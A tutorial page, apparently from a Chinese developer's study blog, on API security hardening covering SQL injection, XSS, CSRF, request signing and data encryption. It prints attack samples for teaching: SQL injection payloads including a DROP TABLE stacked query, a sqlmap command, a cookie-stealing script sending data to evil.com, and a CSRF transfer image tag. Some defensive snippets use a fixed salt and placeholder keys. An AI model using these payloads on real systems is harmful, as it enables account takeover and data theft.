Skip to content
Gains Summary
Main Navigation 首页 / Home
C++ 编程 / C++ Programming
系统与高性能 / Systems & Performance
Web 开发 / Web Development
人工智能 / Artificial Intelligence
工业软件 / Industrial Software
其他内容 / Other Topics
C++ 编程 / C++系统与性能 / SystemsWeb 开发 / Web人工智能 / AI工业软件 / Industrial

外观

Sidebar Navigation

← Web 开发 / Web Development

身份与安全 / Identity & Security

1. 认证鉴权——JWT 过期了,用户怎么办 / Authentication, Authorization, and JWT Expiration

2. 安全加固——你的 API 被黑客盯上了 / API Security Hardening Against Real Attacks

3. JWT 完全指南 / A Complete Guide to JSON Web Tokens

4. Session + Cookie 完全指南 / A Complete Guide to Sessions and Cookies

本页目录

安全加固——你的 API 被黑客盯上了 / API Security Hardening Against Real Attacks ​

📅 创建时间:2026-05-08 🏷️ 标签:#SQL注入 #XSS #CSRF #参数签名 #数据加密 #渗透测试 📚 前置知识:[[00-backend-overview]] [[07-auth-security]](认证鉴权) [[16-api-design]](API 设计) 📚 相关知识:[[18-observability]](日志脱敏)


场景:你的登录接口被人爬了 100 万次 ​

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  安全工程师:你的登录接口被刷了 100 万次。             │
│                                                             │
│  你:用户多,登录次数多很正常吧?                        │
│  安全工程师:IP 都是同一个,User-Agent 都是空的。        │
│  你:...                                                   │
│                                                             │
│  安全工程师:而且,黑客已经拿到了一批账号。              │
│                                                             │
│  你:怎么拿到的?                                         │
│  安全工程师:SQL 注入。                                   │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14

这一章,我们理解 Web 安全的基础:注入防护、签名验证、数据加密。


第1节:SQL 注入——最常见的安全漏洞 ​

场景:登录接口被 SQL 注入 ​

sql
-- 你的登录 SQL(危险!)
SELECT * FROM users
WHERE username = '" + username + "' AND password = '" + password + "'"

-- 正常登录:
-- username = "admin", password = "123456"
-- SQL: SELECT * FROM users WHERE username = 'admin' AND password = '123456'
-- 结果:正确验证

-- SQL 注入攻击:
-- username = "admin' --"
-- SQL: SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
--       -- 后面的内容全部被注释掉!
-- 结果:不用密码也能登录!
1
2
3
4
5
6
7
8
9
10
11
12
13
14

注入类型 ​

┌─────────────────────────────────────────────────────────────┐
│              SQL 注入类型                                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 字符串注入                                           │
│  username = admin' --                                     │
│  原理:单引号闭合,注释掉后面内容                       │
│                                                             │
│  2. 联合查询注入                                         │
│  username = ' UNION SELECT * FROM users --                │
│  原理:UNION 拼接恶意查询                                │
│                                                             │
│  3. 布尔注入                                             │
│  username = "admin" AND 1=1 --                           │
│  原理:恒为真,绕过验证                                  │
│                                                             │
│  4. 报错注入                                             │
│  username = "admin' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1))) --"
│  原理:通过错误信息获取数据                             │
│                                                             │
│  5. 堆叠注入                                             │
│  username = "admin"; DROP TABLE users; --                │
│  原理:分号执行多条 SQL                                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

防护方案 ​

python
# ❌ 危险:字符串拼接 SQL
query = f"SELECT * FROM users WHERE username = '{username}'"
db.execute(query)  # SQL 注入漏洞!

# ✅ 安全:参数化查询
query = "SELECT * FROM users WHERE username = %s AND password = %s"
db.execute(query, (username, password))  # 参数自动转义

# ✅ 更安全:ORM(SQLAlchemy)
user = session.query(User).filter(
    User.username == username,
    User.password == password
).first()

# ✅ 查询构建器
query = db.select(User).where(
    User.username == bindparam('username'),
    User.password == bindparam('password')
).compile()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

SQL 注入检测 ​

bash
# SQLMap 自动检测 SQL 注入
sqlmap -u "http://example.com/login" \
    --data="username=admin&password=123456" \
    --batch \
    --level=5 \
    --risk=3

# 手工检测
username = admin' OR '1'='1
username = admin' --
username = admin' AND '1'='2
1
2
3
4
5
6
7
8
9
10
11

第2节:XSS 攻击——你的页面被执行了恶意脚本 ​

场景:用户在评论区留了恶意代码 ​

用户 A 在商品评论区发布:
<script>
  document.location = 'http://evil.com/steal?cookie=' + document.cookie;
</script>

其他用户访问评论区时:
→ 恶意脚本被执行
→ Cookie 被发送到黑客服务器
→ 黑客拿到用户 A 的登录态
1
2
3
4
5
6
7
8
9

XSS 类型 ​

┌─────────────────────────────────────────────────────────────┐
│              XSS 类型                                       │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 存储型 XSS(最危险)                                 │
│  → 恶意代码存入数据库                                     │
│  → 所有访问该页面的用户都会被攻击                       │
│  → 评论区、个人资料、帖子内容                            │
│                                                             │
│  2. 反射型 XSS                                           │
│  → 恶意代码在 URL 参数中                                 │
│  → http://example.com/search?q=<script>...</script>      │
│  → 用户点击链接时触发                                    │
│                                                             │
│  3. DOM 型 XSS                                           │
│  → 前端 JS 直接解析 URL 参数                            │
│  → document.write(location.hash)                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

防护方案 ​

python
import html
import bleach

# Flask/Jinja2 默认转义,但要注意 mark_safe
@app.template_filter('escape')
def escape_filter(s):
    return html.escape(str(s))

# 富文本内容(需要允许部分 HTML)
ALLOWED_TAGS = ['b', 'i', 'u', 'em', 'strong', 'a', 'p', 'br']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}

def sanitize_html(content):
    return bleach.clean(
        content,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True
    )

# HTTP 响应头防护
@app.after_request
def add_security_headers(response):
    # 防止 XSS(浏览器会阻止内联脚本执行)
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"

    # 防止点击劫持
    response.headers['X-Frame-Options'] = 'DENY'

    # 防止 MIME 类型 sniffing
    response.headers['X-Content-Type-Options'] = 'nosniff'

    return response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

第3节:CSRF 攻击——你的用户被诱导操作 ​

场景:用户登录后访问了恶意网站 ​

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  用户登录了 yoursite.com(保持登录态)                   │
│                                                             │
│  用户访问 evil.com(钓鱼网站)                            │
│                                                             │
│  钓鱼网站包含:                                           │
│  <img src="http://yoursite.com/transfer?to=hacker&amount=10000"> │
│                                                             │
│  浏览器自动带上 Cookie                                    │
│  → 转账请求被发送到 yoursite.com                         │
│  → 服务器认为是合法请求                                   │
│  → 转账成功!                                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

防护方案 ​

python
# 方案 1:CSRF Token
@app.route('/transfer', methods=['POST'])
def transfer():
    # 验证 CSRF Token
    token = request.form.get('csrf_token')
    if token != session.get('csrf_token'):
        abort(403, "CSRF token 无效")

    # 业务逻辑
    ...

# 生成 Token
@app.context_processor
def csrf_token():
    if 'csrf_token' not in session:
        session['csrf_token'] = os.urandom(32).hex()
    return dict(csrf_token=session['csrf_token'])

# 前端表单包含 Token
# <form>
#   <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
#   ...
# </form>

# 方案 2:SameSite Cookie
response.set_cookie(
    'session_id',
    session_id,
    samesite='Strict',  # 完全禁止跨站携带
    # 或
    samesite='Lax'      # GET 请求可以携带,POST 不行
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

第4节:API 签名验证——防止请求被篡改 ​

问题:请求参数被篡改 ​

┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  用户请求:GET /api/order?id=123&amount=100               │
│                                                             │
│  中间人篡改:GET /api/order?id=123&amount=1              │
│                                                             │
│  后端只验证了签名:sign=MD5(id+amount+secret)           │
│  改参数后:sign 变了                                      │
│  但如果签名算法有漏洞呢?                                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11

签名验证实现 ​

python
import hashlib
import time
import hmac

class APIAuth:
    def __init__(self, secret_key):
        self.secret_key = secret_key

    def generate_signature(self, method, path, params, timestamp):
        """
        签名生成算法:
        1. 按字典序排序参数
        2. 拼接成字符串
        3. 拼接时间戳和路径
        4. HMAC-SHA256 签名
        """
        # 1. 排序参数
        sorted_params = sorted(params.items(), key=lambda x: x[0])
        param_str = '&'.join(f'{k}={v}' for k, v in sorted_params)

        # 2. 拼接
        message = f'{method}{path}{timestamp}{param_str}'

        # 3. HMAC-SHA256
        signature = hmac.new(
            self.secret_key.encode(),
            message.encode(),
            hashlib.sha256
        ).hexdigest()

        return signature

    def verify_signature(self, request):
        # 1. 验证时间戳(防重放)
        timestamp = int(request.headers.get('X-Timestamp', 0))
        if abs(time.time() - timestamp) > 300:  # 5 分钟内
            raise AuthError("请求已过期")

        # 2. 验证签名
        params = dict(request.args) if request.method == 'GET' else dict(request.form)
        params.pop('sign', None)

        expected_sign = self.generate_signature(
            request.method,
            request.path,
            params,
            timestamp
        )

        if not hmac.compare_digest(request.headers.get('X-Sign'), expected_sign):
            raise AuthError("签名验证失败")

# API 认证中间件
@app.before_request
def verify_api_auth():
    if request.path.startswith('/api/'):
        auth = APIAuth(secret_key='your-secret-key')
        auth.verify_signature(request)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

第5节:敏感数据保护 ​

数据分类和处理 ​

┌─────────────────────────────────────────────────────────────┐
│              敏感数据分类                                  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  高度敏感(必须加密存储):                              │
│  • 密码(bcrypt hash,加盐)                            │
│  • 身份证号                                             │
│  • 银行卡号                                             │
│  • 密钥/Token                                           │
│                                                             │
│  中度敏感(脱敏展示):                                  │
│  • 手机号:138****5678                                  │
│  • 邮箱:a***@example.com                              │
│  • 地址:广东省深圳市***                                 │
│                                                             │
│  低敏感(可审计):                                      │
│  • 真实姓名                                             │
│  • IP 地址                                              │
│  • 操作日志                                             │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

数据加密实现 ​

python
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2
import base64

class DataEncryption:
    def __init__(self, master_key):
        # 从主密钥派生加密密钥
        kdf = PBKDF2(
            algorithm=hashes.SHA256(),
            length=32,
            salt=b'your-app-salt',  # 生产环境要随机
            iterations=100000,
        )
        key = base64.urlsafe_b64encode(kdf.derive(master_key.encode()))
        self.cipher = Fernet(key)

    def encrypt(self, data):
        """加密"""
        return self.cipher.encrypt(data.encode()).decode()

    def decrypt(self, encrypted_data):
        """解密"""
        return self.cipher.decrypt(encrypted_data.encode()).decode()

    def hash_password(self, password):
        """密码哈希(不可逆)"""
        return bcrypt.hashpw(password.encode(), bcrypt.gensalt())

    def verify_password(self, password, hashed):
        """验证密码"""
        return bcrypt.checkpw(password.encode(), hashed)


# 使用示例
enc = DataEncryption('your-master-key')

# 加密存储
id_card_encrypted = enc.encrypt('440106199001011234')
user.id_card_encrypted = id_card_encrypted

# 脱敏展示
def mask_id_card(id_card):
    return id_card[:4] + '****' + id_card[-4:]

# 日志脱敏
class SensitiveFilter(logging.Filter):
    def filter(self, record):
        if hasattr(record, 'msg') and isinstance(record.msg, dict):
            msg = dict(record.msg)
            for key in ['password', 'token', 'id_card', 'bank_card']:
                if key in msg:
                    msg[key] = '***REDACTED***'
            record.msg = msg
        return True
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

升华:安全是纵深防御 ​

┌─────────────────────────────────────────────────────────────┐
│              安全纵深防御原则                            │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  不要依赖单一防线。                                     │
│                                                             │
│  用户输入:                                              │
│  前端校验 → 后端校验 → 参数化查询 → 最小权限原则       │
│                                                             │
│  认证授权:                                             │
│  登录验证 → Token → 权限校验 → 操作审计               │
│                                                             │
│  数据保护:                                             │
│  传输加密(TLS) → 存储加密 → 脱敏展示 → 访问审计      │
│                                                             │
│  定期检查:                                             │
│  代码扫描 → 渗透测试 → 漏洞修复 → 安全培训           │
│                                                             │
│  一句话:                                                │
│  安全不是加一道防火墙,而是每一层都有防护。             │
│                                                             │
└─────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

"AI 可查 vs 必须理解"清单 ​

AI 可查:
✅ bcrypt / AES 的具体加密实现
✅ CSP 响应头的具体配置
✅ SQLMap 的使用方法

必须理解:
🔴 参数化查询为什么能防止 SQL 注入
🔴 存储型 XSS 和反射型 XSS 的区别
🔴 CSRF Token 的工作原理
🔴 签名验证的完整流程(防篡改 + 防重放)
🔴 密码必须用 bcrypt 等专用哈希算法
1
2
3
4
5
6
7
8
9
10
11

学习状态:🟡 开始学习

最后更新于:

Pager
上一篇1. 认证鉴权——JWT 过期了,用户怎么办 / Authentication, Authorization, and JWT Expiration
下一篇3. JWT 完全指南 / A Complete Guide to JSON Web Tokens

持续记录,持续成长

Copyright © Tidenflow